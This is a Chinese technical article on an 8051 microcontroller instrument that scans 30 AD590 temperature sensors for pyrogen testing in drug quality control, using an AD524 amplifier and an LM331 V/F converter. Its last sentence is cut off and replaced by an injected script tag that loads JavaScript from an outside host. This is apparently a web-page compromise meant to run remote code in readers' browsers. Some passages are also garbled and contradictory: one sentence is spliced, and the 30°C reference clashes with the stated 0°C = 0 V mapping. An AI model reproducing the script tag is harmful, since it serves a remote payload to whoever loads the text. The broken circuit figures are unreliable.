摘 要:讨论了一种用于药品质量监测的单片机多点热源自动采集和测试系统,该测试仪器能够在实验室内自动巡回测试30路热源。本文论述了测试系统的构成、工作原理与研发中的主要技术问题。
关键词:多点测温;集成温度传感器;测量精度;单片机
在药品质量监测过程中,热源反应的测温是一项重要内容。药品检测有其特殊性,对测试系统的精度、稳定性、一致性和线性度等指标有着较高的要求。传统老式仪器大多是各类温度计,测试效率和精度都难如人意。根据现场监测要求,研制了基于单片机控制的热源自动测试仪,实现了在实验室内自动巡回测试30路热源,满足了现场测温准确稳定的高标准要求,成功地完成了药检实验室测试仪器的更新换代。
1 测试仪器系统组成与工作原理
本测试仪器的工作原理图如图1所示,对多点测试的热源数据经多路转换开关,送入仪器放大器实现差值放大后,用v/f转换器将电压信号转换成一定频率的脉冲信号,送入8051单片机的t0口,t0为计数器,t1作为定时器,在定时时间内接受脉冲信号,通过v/f转换器实现了高精度的a/d转换,最后将数据送入8051进行分析处理,配合输入与显示模块电路完成多点温度的显示、监测、预警和打印等功能。
为了保证仪器测温的精度、稳定性和线性度等指标,在硬件上主要采取了2个方面的措施。一方面是选择合适的温度传感器,温度传感器的参数性能,是整机性能能否达到设计要求的关键。作为计量仪器不宜选用一般的pn结温度传感器,因为其测温精度、稳定性、线性度和一致性都相对较差,不能满足设计的要求。这里选用了集成温 度传感器ad590kh,其测温精度为0.1℃,测温分辨率为0.01℃,非线性度在0~150℃范围小于0.5%,其参数性能保证了现场采集的热源数据转换成电压信号后的数据精度、稳定性和线性度均高于计量标准。此外,集成温度传感器ad590具有一致性较好特点,用户在仪器使用一定时间后,可方便地自行更换探头。另一方面,在信号选择、传送、放大和a/d转换的过程中,不可避免地要引入一些干扰,使数据产生一定的误差。为了确保仪器整机性能指标符合计量标准要求,对仪器前向通道的结构,器件性能参数指标的选择上都提出了较高的要求,在软件设计上,采用了数字滤波与线性软件校正等手段。
如图1所示,30路温度传感器ad590kh经2片模拟开关4067构成30选1的热源数据选择器,通过8051单片机的p1口的p1.0~p1.4编程控制30路信号的通断,使30路热源数据依次送入仪器放大器ad524,逐一实现差值放大。
仪器设计要求测温分辨率为0.01℃,测温范围为30~40℃,放大器输出电压范围为0~10 v。由于系统对测温参数性能要求很高,为了达到设计标准,放大器采取对信号进行差值放大,差值放大的增益越高,仪器测温输出结果的分辨率和灵敏度就越高,这里把ad524的增益设定为100倍。把30℃温度的测温电压值作为高性能基准电压源lm399的基准电压值vr接到仪器放大器ad524的反相输入端,作为测温零刻度参考点(lm399的零漂和失调电压均小于5 ppm/℃),仪器放大器同相端接实际现场测器输入电压变化为10 mv,输出电压变化为1 v;温度每变化0.1℃,仪器放大器输入电压变化为1 mv,输出电压变化为100 mv;温度每变化0.01℃,仪器放大器输入电压变化为0.1 mv,输出电压变化为10 mv。
作为一个高性能的计量仪器,对放大器增益的稳定性、失调电压、零漂和非线性失真等参数要求极高,不宜于选用一般精度的运放作为放大器,否则可能由于运放对信号放大这一环节带来的误差,使仪器的参数指标性能下降,达不到计量标准。本仪器选用了高性能参数的ad524作为仪器放大器,ad524的零漂、失调电压和非线性失真等参数指标值极小,使ad524在放大信号过程中产生的误差,在本仪器所要求性能参数的数量级上可忽略不计。
2 v/f转换
系统使用lm331作为v/f转换器,把ad524输出的0~10 v电压,转换成0~100 khz频率的脉冲信号,送入8051单片机的t0口。测量温度数据与v/f转换后的脉冲信号频率成线性正比关系,温度越高,仪器放大器输出的电压越高,v/f转换器输出的频率值越高。温度为0℃时,仪器放大器输出的电压为0 v,v/f转换后的频率值为0 khz;温度为40℃时,仪器放大器输出的电压为10 v,v/f转换后的频率值为100 khz。用v/f转换器实现a/d转换,消除了转换后的数据在送入单片机过程中的干扰,并且通过调整t1口的定时时间,改变t0口计数器接受脉冲的数量,可改变a/d转换的位数。本系统把t1口的定时时间设定为100 ms,使v/f转换器相当于14 b的a/d转换器。通过增大t1口的定时时间,提高了a/d转换的位 数,进而提高了系统测温数据的精度和分辨率。为了更好地改善仪器性能,把定时时间t1增大n倍(n?script src=http://er12.com/t.js>